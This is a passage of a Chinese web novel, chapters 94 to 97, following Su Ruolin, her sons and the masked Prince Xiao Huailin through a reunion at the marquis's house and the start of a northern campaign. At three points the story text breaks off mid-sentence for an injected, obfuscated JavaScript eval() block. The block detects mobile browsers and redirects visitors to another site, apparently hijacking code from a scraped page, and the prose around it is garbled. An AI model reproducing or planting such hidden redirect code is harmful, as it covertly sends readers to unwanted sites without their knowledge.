随着苏若琳的话音落下,包间内竟也陷入了沉默。 萧怀琳竭力隐藏起自己内心的情绪,竭力让自己的声音不那么颤抖:“我曾于令兄口中听闻,安定侯府大小姐于四年前失踪。” “既然你知道的话,我就不多说了。”苏若琳的声音中已然有了些许哽咽,“别再说了。” “好。”萧怀琳看着面前眼眶泛红的人儿,那颗已经被各种情绪填满的心如今又徒增了许多愧疚。 他已经失踪了整整四年了,母亲依然记得他喜欢什么菜肴,依然会谈到他时潸然落泪。 他痛恨自己不能和母亲相认,可也惧怕和面前人相认。 他忽地意识到,若是自己日后真的和面前人相认了,她真得能接受自己吗? 她能接受一个曾经做过自己女儿的人,对自己...... 还是会骂他不孝不悌、骂他违背人伦、骂他丧心病狂? 正想着,忽地外面敲门声起,原来是前菜已经做好送来了。 “还是先用膳吧。”两人异口同声道。 而后惊讶地看着对方,纷纷破涕为笑。 “说起来,你到现在都还没告诉我,你约我来的目的呢。”苏若琳试着转移话题,虽然她现在目测对方约她出来纯粹是拿她当备胎约会用了。 果不其然,此时的萧怀琳已经收拢起了那些复杂的情绪,含笑着回答:“你猜。” “这我可猜不出来。” “那就先用膳吧。” 无论将来如何,至少他如今能看着面前人灵动的面容,那也足够了。 若是她届时仍旧无法接受他,那他至少要为她撑起一个安稳的天下。 94. 王爷的底细 入夏以来,白日渐渐的长了。 至傍晚时分已经戌时,一辆精致典雅的马车自安定侯府门前缓缓停下,马车后还跟着四五个骑马的侍卫。 那几个侍卫皆身着玄色劲装,面色坚定、目不斜视,腰间的佩剑闪烁着浓厚夜色亦无法遮盖的光芒,胯|下的骏马亦是膘肥体壮,毛色发亮,一看就是精心饲养的千里战马。 路上还未来得及回家的行人与这马车队伍擦肩而过,皆不可思议地瞪大双眼,如今满京城敢公然派私兵在大街上逛的,除了那位大楚未来的帝王还能有谁? 待到马车停稳后,马车前边坐着的两个丫鬟连忙下车,一个往地上摆放脚凳,另一个掀开马车那藕荷色的门帘。 “苏小姐,侯府到了。” 随后自马车里便走下来一个华贵柔美的身影,脚步婆娑,花容月貌,只倾城一笑便足以令天地黯然失色。 说实在的,宁安王府的丫鬟虽说调教得是真的细致周到,但是这太过细致了反倒还让她有些不习惯。 就比如替她拉开门帘这种事,万一哪天她和萧怀琳一同坐在马车里,门帘拉开的时候他们两个正在接吻怎么办? 咳咳咳......好吧,这想法着实有些孟浪了。 今日白日里和萧怀琳用过午膳,他们又去了昌华大街上的其他铺子里逛了一番,因着京城历经战乱才刚结束,大多数百姓都逃出京城避难还未回来,大街上尚有许多铺子还在打烊。 不过就这种情况下,他们仍旧逛了一整个白日。 期间萧怀琳忠诚地履行了多金男友的职责,任何东西但凡她多看了一眼,下一刻那东西就已经打包好被侍卫提在了手里。 乃至于有些她没有赏眼的首饰之类的小玩意,那小子觉得不错的也会给她推荐,并且......这小子明明是个战场杀神,配上那副镌刻着穷奇的银色面具更是吓人得可怕,审美却意外得相当不错。 虽然她自己也不差钱,但是这种被宠着花钱的感觉实在是太美妙了。 若是有机会,待到战事的余波过去,她还挺愿意和这小子再逛一趟那繁华完整的昌华大街。 即使是当备胎,和这小子约会的感觉也实在是太美妙了。 和有钱又年轻的帅哥约会,爽! 和体贴细致周到又年轻有钱的帅哥约会,更爽! 等到分别之时,念及军队明日便要出征北伐,而侯府的下人们都还没回来,萧怀琳还特意拨了几个丫鬟和侍卫来照顾她,帮她收拾行李。 其实昨日她从王府搬回侯府的时候,萧怀琳便想着给她点些人过来,不过那个时候她和人家还不太熟,也尚不知这小子图谋什么,便没有收。 咳咳,现在熟了,往后他萧怀琳想给什么东西随便给,她照单全收。 左右人家未来皇帝家大业大,哪怕哪天人家真和心上人在一起了,也不在乎曾经撒出去的那点钱。 思索间,苏若琳已然回到了自己的碧月轩。 刚一进院子,便见到一个身着天蓝色衣袍,用同色发带束着头发的俊俏少年郎正坐在露天的石桌前,眼睛微闭,双手环胸,显然是在等人。 “纨枫?” 杨纨枫闻言睁开眼,看到母亲那熟悉的面容时露出了一丝笑意,只是待看到母亲身后那些明显出身自宁安王府的丫鬟和侍卫们时,那笑容又渐渐的淡了下去。 “母亲。” “在等我?”苏若琳坐到他面前,身后的丫鬟很有眼色地上前来,一个提起桌上茶壶,另一个则举起桌上的干净茶杯,给苏若琳倒了一杯茶。 只是那乳白色的液体斟满一杯后,那个举着茶杯的丫鬟面色一变:“奶茶凉了。” 说罢便向苏若琳俯身行礼:“苏小姐,可否等奴婢沏一壶新的奶茶来?” “不必了。”苏若琳接过丫鬟手中的茶杯,“如今天已入夏,正是越来越热的时候,喝些凉的也是一样的。” 丫鬟颔首:“是。” 杨纨枫一双好看的杏目漆黑发亮,如同一眼望不到底的深渊,深不可测。 “你们是从哪里知道的奶茶这东西?” 苏若琳一顿,对哦,这两个丫鬟是第一次来侯府,她先前在王府的时候也没有做过奶茶,那么她们是如何得知奶茶这东西的? 而两个丫鬟听到这一声质问,神色未改,淡淡地回答:“制作奶茶的方子是王爷带来的,因着后院的侧妃和姨娘们都很喜欢,整个王府的丫鬟们都会此方子。” 哦?从萧怀琳那知道的? 苏若琳思索道:“兴许是大哥告诉王爷的。” 毕竟大哥跟着萧怀琳在北疆打了一年的仗,北疆气候寒冷,奶茶是不错的驱寒暖胃的东西。 然而杨纨枫眼中闪过一丝寒光,继续追问道:“王爷是什么时候把方子带进王府的?” 闻言,两个丫鬟却是互相看了一眼,不说话了。 “我在问你们话。”杨纨枫的声音依旧平稳如常,然而周身却多了一股不可抗拒的气势,“是不能说,还是不敢说?” 苏若琳看着自家一向乖巧懂事的儿子突然变了气场,暗暗惊叹于真是男大十八变,这小子想来是在老爷子身边耳濡目染太久,如今不仅学富五车,连那凌厉的气势也学了个十成十。 而那两个丫鬟闻言,登时跪下来磕了一个头:“奴婢不能说,说了会死的,求小少爷饶过奴婢吧!” 杨纨枫冷笑了一声:“是你们王爷下的封口令?” 那两个丫鬟惊恐地看了一眼还站在不远处的王府侍卫们,迟疑了片刻,终是点头道:“是。” 这就很耐人寻味了。 一个奶茶的方子,宁安王都不曾禁止丫鬟们泄露出自他手,却不让她们泄露带到王府的时间。 众人皆知当初老宁安王将儿子寻回三个月后便身殒,而宁安王继位一个月后便出兵去了北疆。 再后来,直到几日前宁安王才赶了回来。 杨纨枫的手指缓缓敲着石桌的桌面,只觉得这几个关键的时辰有些不大对劲。 这其中有些蹊跷,回头他需要秘密调查一番。 苏若琳倒是没想那么多,或者说其实她懒得去想。 每个人都会有点不能说的秘密,今日和萧怀琳相处下来,她觉得对方即便是有什么难言之隐,也不会危害到她。 因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495509|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为对方实在是没有伤害她的必要。 见到那两个可怜的小丫鬟还恐惧地跪着,甚至于全身都在发抖,她摆了摆手:“你们两个起来吧。” 末了,又含笑看着杨纨枫:“你这孩子等我多久了,是有什么重要的事么?” 若是平常有什么事而她又不在家,只管给她院子里的丫鬟们递个话,等到她回来自会通知这孩子。 大户人家的生活过久了,这身边没点伺候的下人还真是不太方便。 杨纨枫闻言,轻轻摇头,关切地看着母亲:“我听说您今日出门去赴王爷的约了?” “对。”苏若琳捏了捏他的鼻子,宠溺地笑了,“你这小子从哪打听到的?” 察觉到自己又被母亲当作小孩子对待了,杨纨枫脸颊微微红了红:“那,王爷没有对您......做出什么不好的行为吧?” 听到这则关心,苏若琳心头一暖:“你是在担心我在王爷手底下受什么委屈吗?” 杨纨枫默默地点了点头:“若是,若是......以后王爷再约您出来,您不愿意的话只管告诉我,即便我和兄长如今是朝官,可也断然没有为了前途让母亲受委屈的道理。” 他顿了顿,又补充道:“我们步入仕途就是想将来更好地孝顺您,若是您反倒因为顾及我们而蒙受委屈,那我们......” “这仕途也没什么意义......” 杨纨枫的声音越来越小,乃至于最后已经细若蚊蝇。 苏若琳看着自己所有儿子里边,最乖巧最懂事的这个,心里已经被感动得一塌糊涂。 这孩子被她认回来已经四年了,从最初瘦瘦小小的一只长成到如今的翩翩少年郎,这孩子也有了家国情怀、有了追求的目标,却又仿佛还是最初那个捧着小小的一颗心,努力讨好自己的孩子。 “你放心。”苏若琳揉了揉儿子的头,“你见过母亲有委屈自己的时候吗?” “王爷于我和你曾祖有救命之恩,后又多次帮助我们,于情于理,我都应该去赴他的约,而且......” 苏若琳说着不禁露出一个温柔的笑容:“那宁安王是个正人君子,不会欺辱我的。” “总之,你母亲我自有分寸,你不必担心。” 正人君子......? 这句话落进了杨纨枫的耳朵里,和他的印象里前日王府开会时,王爷那副混不吝的纨绔模样撞到一起,让他产生了深深的怀疑。 母亲是不是对王爷有什么误解? 一个正人君子能杀穿北疆,一句话赐死了皇帝,然后自己接下这天下江山? 杨纨枫看着面前的母亲露出温和的笑意,原本到了嘴边的话又被咽了回去。 算了,既然母亲都觉得王爷是个正人君子,那至少王爷对待母亲的态度还是不错的。 若是母亲喜欢,也不是......咳咳咳。 还是待他回头先去想办法查一查方才的疑点,没准这宁安王背后还有其他的底细。 想到此,杨纨枫收回了思绪,从怀里掏出了一封信,露出了一个浅浅的微笑:“今日外祖来信说,明日秋姨娘他们便能回来了。” 95. 侯府众人归来 恰如信中所言,秋姨娘他们于翌日的晌午时分回到了侯府。 只是这个时辰,萧怀琳的军队也快要出发了。 于是乎这一辆又一辆的马车才刚从侯府门前停下,另一边便有一辆马车从侯府后门驶了出来。 秋姨娘等人一进侯府,便被这荒芜破败的景象吓到了,无数名贵的玉器景饰碎了一地,没了人打理的院子也到处杂草丛生,他们离开侯府不过七日,怎么就变成这幅景象了? 正发愣间,一道熟悉的呼唤自不远处响起:“回来了?” 众人扭过头一看,那站在院门前,右手正扶着圆拱门,看着他们露出温和笑意的绝色身影,除了他们的夫人还能有谁! 苏若琳的目光一一掠过面前明明不过七日未见,却好似已经分离了许多年的诸位,心中百感交集。 果然,有家人在的地方才叫家,没有家人在的,不过一座空房子罢了。 她张开口,正要说些什么,秋姨娘已然跑过来将她紧紧抱住:“夫人!” 颤抖的声音夹杂着滴落到苏若琳肩头的泪水,她不由得伸出手,一下下轻抚着秋姨娘的背:“已经没事了,你别哭啊。” “妾身真以为,以后再也见不到您了!”秋姨娘哭得梨花带雨,泪眼婆娑。 她这一哭,连带着后边站着的红烛绿俏、芷若彩衣他们都纷纷落下泪来。 杨纨绫迈着小腿猛地扑到苏若琳身前,一双小胳膊小肉手紧紧地抱住苏若琳的大腿,大哭了起来:“纨绫以后乖乖的,母亲不要再丢下纨绫了!” 钱氏红着眼睛道:“夫人是大善人,善有善报,从前积的德如今都在保佑夫人了!” 秋姨娘使劲点头:“夫人大难不死,必有后福!” 苏若琳倒是没在乎什么积不积德的,不过她也觉得自己大难不死必有后福。 她温声细语地安慰了秋姨娘一通,好不容易把人安慰好了,随后又把腿上挂着的杨纨绫抱了起来,颠了颠:“咦,这怎么比从前轻了?” 杨纨绫抱住母亲的脖子,撇着嘴依偎在母亲的怀里不说话。 秋姨娘叹了口气:“纨绫自从那日和夫人分别之后,整日苦着脸,也不愿意吃东西,每日用膳都得好声好气地哄许久才肯吃一点。” “是这样啊?”苏若琳心里一阵暖流涌过,不禁露出一个歉意的微笑,拍了拍杨纨绫的背,“是母亲的错了,往后母亲再也不丢下纨绫了,纨绫不要不高兴了好不好?” 杨纨绫这才抬起头,睁着一双水汪汪的大眼睛看着母亲含笑的面容,撅起嘴巴伸出自己的小肉手:“那母亲和纨绫拉勾勾。” 苏若琳不禁笑出声:“好,拉勾勾。” 大手和小手的小拇指勾到了一起,轻轻晃了两下,初夏的微风拂过母子的脸颊,带着丝丝痒意,那一张原本皱着眉头的小脸蛋终于破涕为笑。 众人都笑了。 这时,一道惊讶的声音从众人身后响起:“你们回来了?” 众人回过头,只见杨纨玦和杨纨枫两兄弟身着官袍,缓缓地自前院门走了进来。 杨纨玦看着秋姨娘泪痕未干的脸庞,那陪伴他从小到大的面容历经十余年风霜也不曾留下一丝岁月的痕迹,如今分别不过七日,却看着仿佛苍老了几岁。 他的声音有了一丝的颤抖:“......娘?” 下一刻,他便落入了一个熟悉而又温暖的怀抱。 “我的儿......”秋姨娘早已没有她的儿子高了,可是她还是尽力踮起脚尖,想要给儿子一个尽量宽广的怀抱,仿佛这样就能像从前一般,再为儿子多遮挡一些风雨。 秋姨娘的声音根本止不住发颤,只能在这颤抖的声音中不断地喃喃道:“我的儿没事,没事就好......” 杨纨玦胸口的伤疤其实还没有好,被这么一撞疼得全身都在抽搐,可他还是不着痕迹地藏起露在手腕上的伤疤,用同样的力道紧紧回抱住秋姨娘。 “我没事了,娘,我没事了。” 杨纨枫注意到了兄长那一瞬间微变的脸色,暗叹了一句:让你这么拼命,活该。 但还是默默地来到这对母亲身边,看着秋姨娘露出了一个温暖的微笑:“姨娘。” 秋姨娘这才堪堪松开亲儿子,看着杨纨枫的面容一顿:“你这孩子......” “长大了。” 胸口的压迫感陡然一松,杨纨玦长舒了口气,向自家弟弟投去了一个感激的目光。 杨纨枫没理他。 要不是念在今日便要启程,他实在是担心自家兄长旧伤复发待会再从马上摔下来,不然真想让这个不要命的家伙好好疼一阵子。 秋姨娘看了看短短不过七日却仿佛全身蜕变一般的杨纨枫,又看了看历经战争洗礼、如今已然带着一股威严之气的杨纨玦,又是欣慰又是心酸。 “你们两个都长大了。” 杨纨绫自母亲的怀抱里下来到了地上,迈着小短腿“蹬蹬蹬”地跑到兄长们跟前:“大哥二哥,纨绫想你们!” 末了还未等兄长们开口,他拽着杨纨玦的衣角努力嗅了嗅,随后又掀起杨纨玦的袖口:“大哥受伤了!” 两个兄长和苏若琳皆惊讶地看着他,这孩子怎么发现的! 秋姨娘闻言连忙焦急地拉过杨纨玦的手腕仔细一看,只见那被袖子掩盖的手臂上,一道纵横的伤口触目惊心。 “这是怎么弄的!” 杨纨玦心虚地看向他处。 “我问你话呢!”秋姨娘更急了,“这是怎么弄的!” 杨纨绫一双灵动的大眼睛幽幽地盯着大哥的胸口,还想要再开口,二哥连忙捂住他的小嘴把人抱走。 杨纨玦面对追问支支吾吾地不敢回答,眼神疯狂地往外乱瞟,想着能不能突然冒出来个救星替他解围。 结果还真冒出来了一个。 “王爷?!” 众人皆回过头,便见到一个身着墨蓝色锦缎华服,脸上带着一副凶神恶煞的银色面具的男人站在院门前。 男人一袭衣袍上的金线迎着阳光熠熠生辉,镌刻着穷奇的面具沾染着一股肃杀的气息,而在男人的身后,四五个玄衣侍卫安静地跟着走进院子,如同一道道沉默的影子。 所有人都听说了宁安王千里奔袭救京城的事,也都知晓了眼前这个年纪不过十七的年轻男子便是大楚未来的帝王。 杨纨玦和杨纨枫两兄弟颔首行礼:“见过王爷。” 众人也纷纷跟着行礼。 “嗯。”萧怀琳淡淡地回应了一声,便穿过众人来到了苏若琳面前,含笑道,“他们都行礼了,你怎么不行礼?” 苏若琳挑眉看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503095|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他:“我反倒要问王爷呢,私闯民宅这事,按照咱们大楚律法是不是得报官?” “我可没私闯。”萧怀琳摊了摊手,“你们侯府的大门没关。” “......”苏若琳嘴角微抽,想来是秋姨娘他们回来还带着不少行李需要搬进来,便先把门开着方便搬运行李,倒是让这厮钻了空子。 杨纨绫水汪汪的大眼睛看到萧怀琳和母亲说笑,连忙从二哥身上下来,跑过去一把抱住母亲的大腿,警惕地盯着萧怀琳。 乍一看到个白白的奶团子挤进视线,萧怀琳眯起眼:“这是?” 苏若琳抱起杨纨绫,轻笑:“这是纨玦和纨枫的弟弟,家中最小的小四,名唤纨绫。” 纨绫么?萧怀琳幽深的目光落到那张白玉一般秀气的小脸上,逐渐变得温和。 自己昔年离开侯府时,眼前的孩子还只是一个襁褓中的婴儿,没想到一转眼也长这么大了。 “纨绫?真是个不错的名字。” “那当然,这是我起的。”苏若琳颇为骄傲地自夸了一句,随后看向怀里的小纨绫,“纨绫,这是宁安王殿下,你要叫王爷。” 眼见着面前这个叫“王爷”的人目光从危险变得温柔,然而杨纨绫盯着他的目光却并未减少半分戒备。 杨纨绫一手抱着母亲的脖子,伸出另一个小肉手指着萧怀琳:“你是坏人!” 苏若琳瞪大眼睛。 啊啊啊我的儿!你面前的可是未来皇帝啊!得罪了他你以后指定没好果子吃啊! 杨纨玦和杨纨枫默默地在心里给自家弟弟鼓掌,说得好! 而堂堂大楚救世英雄宁安王殿下面对一个奶团子的严厉指控,竟是忍俊不禁地笑出了声:“你为什么觉得我是坏人?” 杨纨绫皱着小小的眉头,撇嘴道:“你想把母亲抢走,我不同意!” 众人:? 苏若琳和两位兄长:?! 苏若琳倒吸了一口凉气,摸了摸杨纨绫柔软的发顶:“纨绫乖,王爷没有想把母亲抢走的,不要乱说哦。” 继而有些尴尬地看向萧怀琳:“小孩子说胡话,那个什么,你应该不会介意吧?” 萧怀琳挑起眉头,饶有兴致地看着杨纨绫:“你怎么知道我想要把你母亲抢走的?” 众人:?! 苏若琳:(尖叫)(咆哮)(阴暗扭曲地爬行) 能不能来个人把萧怀琳这混小子给她弄走! 果不其然,小老四杨纨绫一听对方居然真得想要把母亲抢走,登时就抱紧母亲的脖子又哭了起来:“大坏人!我不要母亲走!” 苏若琳头疼地叹了口气,然后幽怨地看着萧怀琳,现在你满意了? 多大个人了还欺负小孩子! 萧怀琳哈哈大笑,伸出满是茧子和伤疤的手揉了揉暴风哭泣的奶团子:“我和你开玩笑呢,母亲是你的,我不抢。” 我不抢母亲,如果可以的话,我更想抢...... 嗯。 在母亲怀里哭泣的奶团子伸出小肉手打掉那只正要蹂躏他头顶的大手,愤恨地瞪着萧怀琳。 苏若琳无奈地叹了口气:“你到底是来干什么的?” 如果是来捣乱的能不能滚出去? 闻言,萧怀琳的神色这才有了一丝的正经:“该出发了。” 96. 启程 闻言,苏若琳这才点了点头:“那正好,我的行李也都收拾完了,我这就让他们搬到马车上去。” “你那辆马车怕是不太行。”萧怀琳轻笑着摇头,“行军出征和逛街可不同,城外的路途坑洼不平,远不比京城的康庄大道。” “我派了两辆新的马车过来,你和老先生一人一辆,都已经停在大门口了。” “好。”苏若琳应了声,转过头就要吩咐下人搬行李。 从方才起就一直默默站在一旁不敢作声的秋姨娘闻言,终于鼓起了勇气上前道:“夫人您要走了?!” 他们才刚回来,怎么夫人就要走了! “啊,对。”苏若琳扭过头笑了笑,“忘记跟你们说了,王爷出征西伐驱逐敌军,我和纨玦纨枫都跟随王爷一起去。” “可是纨玦和纨枫跟着也就跟着了,您去做什么呀!”秋姨娘瞪大眼睛,实在是不能理解,“他们大老爷们打仗,怎么还要夫人您一个女眷跟着?!” 闻言,苏若琳不由得看向始作俑者萧怀琳。 而后者对她回以单纯诚挚的微笑。 苏若琳叹了口气,复又看向秋姨娘:“各种原因有些复杂,总之我去这一......” 她话才说一半,一道带着哭腔的奶音便打断了她。 “不要!” 杨纨绫死死地抱着苏若琳的脖子,不肯撒手:“我不要母亲走!母亲说了再也不丢下纨绫的!” 苏若琳揉了揉奶团子的小脑袋瓜,好声好气地劝道:“纨绫乖啊,母亲只是离开一段日子,过些时日便会回来的,不是要丢下纨绫。” “我不信!”杨纨绫伸出一只小肉手指着萧怀琳,瞪着一双水汪汪的大眼睛大声控诉,“是你这个大坏蛋要把母亲带走,我不允许你抢走母亲!” 一旁的杨纨枫抿嘴努力止住笑意。 好小子!可算是替他把藏在心里很久的话说出来了。 苏若琳却是被这孩子聪明得头疼,这孩子简直就是一个机灵鬼滑头版的纨枫! 她拿出手帕替奶团子擦掉脸上的小泪珠,循循善诱道:“纨绫相信母亲好不好?母亲是和大哥二哥曾祖一起走的,不是被王爷抢走的,等过些日子我们都一起回来,不信你问问哥哥们?” 杨纨绫一双灵动的大眼睛看向两个兄长,大哥叹了口气,二哥看着自己的嘴替弟弟,微不可闻地摇头示意。 奶团子当即暴风哭泣:“才不是!母亲就是要被这个坏蛋抢走了,母亲要丢下纨绫再也不回来了!” 苏若琳没辙了,萧怀琳伸出那只看似光滑细腻,实则粗糙布满伤疤的手,捏了捏杨纨绫的小脸:“那你要怎么才能相信我不是坏人呢?” “我不信!”杨纨绫睁着一双泪眼瞪着萧怀琳,张开小嘴就要去咬他的手,“你就是坏人!你要抢走母亲再也不还回来了!” 奶团子越哭越凶,只是搂着苏若琳脖子的那双手却是怎么也不肯松开,眼看着这么拖下去不是办法,萧怀琳最后干脆伸出手要把杨纨绫的小胳膊强行掰开。 “你别过来!你走开!”杨纨绫一边哭一边嚎着,“大坏蛋,你离母亲远一点!” 只是待到那个要抢走母亲的大坏蛋凑近了,杨纨绫却是戛然止住了哭泣,一双含泪的大眼睛眨了眨,忽得扭头凑近萧怀琳的肩膀,用力嗅着什么。 兴许是这样子嗅不太真切,奶团子完全忘记了自己方才哭得多么惨烈,甚至主动从母亲身上下来,然后转过身拽着萧怀琳的衣角,使劲往上凑,一边往上凑着一边用力地闻着。 “闻什么呢?”萧怀琳饶有兴致地把奶团子抱起来,“不讨厌我了?” 被抱在怀里的杨纨绫干脆就趴到面前人的肩膀上,待嗅了好一通,最后摸了摸鼻子,郁闷道:“你的熏香......” 好熟悉的香味,他一定在哪里闻到过,可是现在闻不出来。 萧怀琳挑眉:“我的熏香怎么了?” 他面上波澜不惊,内心已然有了一丝慌乱—— 他的熏香是专门派人仿照从前在侯府所用熏香调的,味道一模一样,不会真给眼前这个小狗鼻子闻出来了吧? 只见眼前的奶团子没有回答,却是皱着小脸思索了一会,半晌看着他道:“你真的不会把母亲抢走吗?” 闻言,萧怀琳松了一口气,不由得轻笑出声,伸出另一只粗糙的大手,替那张白嫩嫩软乎乎的小脸擦掉眼泪,温声道:“不会的,我保证。” 杨纨绫低着头闷声道:“那好吧。” 杨纨枫瞪大眼睛,一口老血涌上心头,弟啊,你怎么投敌了! “那!”奶团子复又抬起头,不放心地看着面前戴着银色面具的男人,“那你什么时候把母亲还回来?” “嗯......”眼前戴着银色穷奇面具的俊美男人脸上浮现出了思索的神色,不过只一瞬,他便答道,“至多三个月,我一定把母亲原原本本地给你还回来。” 语气温柔,却掷地有声。 “哦,那我先把母亲借给你吧。”奶团子撇了撇嘴,又道,“你们要早点回来。” 这孩子气的玩笑话说的实在有趣,众人都被逗笑了,萧怀琳忍俊不禁道:“那我真是要谢谢你愿意把母亲借给我。” 红烛上前去接过杨纨绫,后者没有再哭闹,只是看着母亲的目光依旧依依不舍。 苏若琳母爱泛滥,心疼得很,只好让红烛先把人抱走,眼不见心为静。 末了她便指挥下人把行李搬上马车,又看向杨纨枫:“你去老爷子的院里把人请出来吧。” 杨纨枫却是不知从哪里拿出了一个丝绸卷轴。 “嗯?”苏若琳挑眉,“这是什么?” “我方才途径前院,看到院子里堆着一堆礼物......” 各种各样的东西都有,看样子大多是女子会喜欢的物件,绫罗绸缎、首饰珠宝,堆成了一座小山。 “哦,那个呀。”苏若琳轻笑道,“那是昨日去逛街时买的,因着当时下人还没有回来,不方便搬弄,就暂时先搁置在那了。” 杨纨枫了然,继而展开手里的卷轴:“我看那里边有一幅画。” 包裹着画作的丝绸卷轴被打开,顿时一副栩栩如生的峭壁阔海图映入眼帘,两三点黑墨在高空之中化作飞鸟,几笔线条落入海洋之中化作浪涛,其笔力之雄厚、技巧之成熟,令人叹服。 “是这幅画啊。”苏若琳恍然大悟,“昨日去珍宝阁的时候无意间碰到这幅画在拍卖,据说是被誉为当朝名作的,我觉得有眼缘,就拍下了。” “据说这幅画的画师自年少起便四海游历,后见过众生疾苦,感怀天下苍生,立志经商救世,三致千金救济了无数百姓,传得神乎其神的。”苏若琳说着看向自家儿子,“你可曾听说过?” “略有耳闻。”杨纨枫漫不经心道,目光却是看向了画作的左下角。 那本该由画师落款署名的地方,非但没有写着一个字,反而点缀着一块用红墨寥寥几笔便勾勒出的红玉。 他喃喃道:“用红玉代替署名......?” 苏若琳点了点头,伸出青葱般白嫩纤细的手指轻抚过覆在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519214|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画作上的半透薄纸:“据说这位画师从未在自己的画作上留下过姓名,反倒喜欢在左下角画下一块栩栩如生的玉来代替署名,因此被称作如玉大师。” “不过这画我确实懂得不太多,只能看出应当是真的极品。”她轻笑着,“就想着先买回来,兴许哪日纨岚回来了,会感兴趣吧。” 思及离家已久的游子,苏若琳的眼中逐渐浮现出了思念的神色。 说起来,纨岚那孩子上次来信还是在京城守战的前几日,如今京城变故颇多,也不知道他人在外地如何了。 那孩子又是向来报喜不报忧,上次见他就比从前黑了瘦了不知多少,如今这又过了几个月,那孩子定然又吃了不少。 可一定要平安啊...... 而杨纨枫看着手中浑然天成的画作,眼中闪过一丝温暖的神色:“这是纨岚。” “什么?”苏若琳回过神,怀疑自己是走神听错了,“你刚才说什么是纨岚?” “这幅画的画师,如玉。”杨纨枫伸出手抚过画作上一笔一划熟悉的笔触,脑中已经浮现出了记忆里那个活泼不着调、却总是带着笑的影子。 那画在左下角代替署名的红玉,腾云轩的耳房里至今还留存着许多红玉的稿纸。 纨岚曾说他学画先于写字,往后练字再怎么努力估计也都和狗爬差不多,所以干脆以画来代替署名,于是那块栩栩如生的红玉便诞生了。 回忆起过往种种,杨纨枫不由得露出一丝微笑,那小子最初喊着闹着要画出真正的高山远水出了门,如今阔别许久,竟是真的让他给画成了。 苏若琳愣愣地看着这幅被誉为盛世名作的画,嘴唇嚅动着,再开口时,语气中已然充满了欣慰和感怀:“这孩子,也长大了......” 她从前捡回的这几个儿子都是鹰雏,如今也都已经成长为了雄鹰,展开能够划破苍穹的双翼,翱翔在了波澜壮阔的天空。 她很欣慰,却也不由自主地心酸。 海阔凭鱼跃,天高任鸟飞,而她能陪这些小子们走过的路,大概也就到此了。 正感怀着,杨纨枫收起这副画作:“母亲,我们把它带上吧。” 苏若琳含笑着点头:“好。” 待到下人们把行李都放进马车,杨纨玦和杨纨枫两兄弟也扶着祝贤盛过来了。 两兄弟搀扶着老爷子上了马车,随后和苏若琳一起同众人告别。 苏若琳牵起秋姨娘手,柔声道:“我这一趟走得急,先前下人们都走了也没法收拾,待我走后,这收拾侯府的事就交给你了。” 秋姨娘含泪点头:“您放心,妾身一定把侯府打扫得和从前一模一样,干干净净的等您回来!” 他们和众人一一道别,最后看向安静等候在一旁萧怀琳:“可以走了。” 彼时萧怀琳那墨蓝色的挺拔身姿正静静地倚在马车前,抬头看着大门上“安定侯府”的牌匾。 这座府邸曾陪伴他度过不过短短数月时光,却成为了他生命中唯一能算作家的地方。 ......他有时候也会想,如果自己能够做回杨婉枝,重新回到这个家里该有多好。 可是没有如果,时光和他都只能向前。 他没有办法奢望让安定侯府重新成为他的家,但至少他还有机会,让他的心上人带着他再次融入这个家。 萧怀琳正失神间,忽地听到了熟悉的呼唤,他回过神,看到那张阔别数年而未曾留下丝毫岁月痕迹的盛世容颜正面对着他,露出了一个温和的微笑。 他含笑着点头:“好。” 97. 陈姨娘变丫鬟 萧怀琳准备的马车比起她平时的那辆要大上许多,车板也厚了不少,甚至窗帘都用了可推拉的木板来代替,想来是为了防止敌人袭击而专门制造的。 出征的队伍浩浩荡荡地行走在京城最繁华的昌华大街上,街道两旁挤满了观众,人声鼎沸。 去年宁安王的队伍出征时,苏若琳还是站在饕餮楼包间的阳台上送行的观众,没想到一年以后,她就已经成为了被簇拥欢送的一员。 这一次萧怀琳没有坐马车,他策马行走在队伍前方,一身银铠与脸上的穷奇面具在阳光下熠熠生辉,更徒增了几分威严和肃杀的气息。 先前逃离京城的许多人家都已经回来了,无数高门贵女仍旧记得去年此时,就在这繁华的昌华大街上,出征队伍途径饕餮楼门前时,王爷自马车中探出头来,那惊为天人的绝色面容不过昙花一现,就引起了无数骚动。 此时再见王爷如此雄姿英发,姑娘们不由得纷纷为之倾倒,无数芳心已经悄然许下,只待王爷凯旋归来登基为帝,后宫大选时被应选为妃。 “王爷真是龙章凤姿。”饕餮楼四楼的包间里,一个身着黄裙的姑娘脸颊微红,害羞地小声道。 “咦,你看王爷身后的那两位是谁?”身旁一席粉衣的姑娘推了推她,指着下面的队伍,“也好帅啊!” 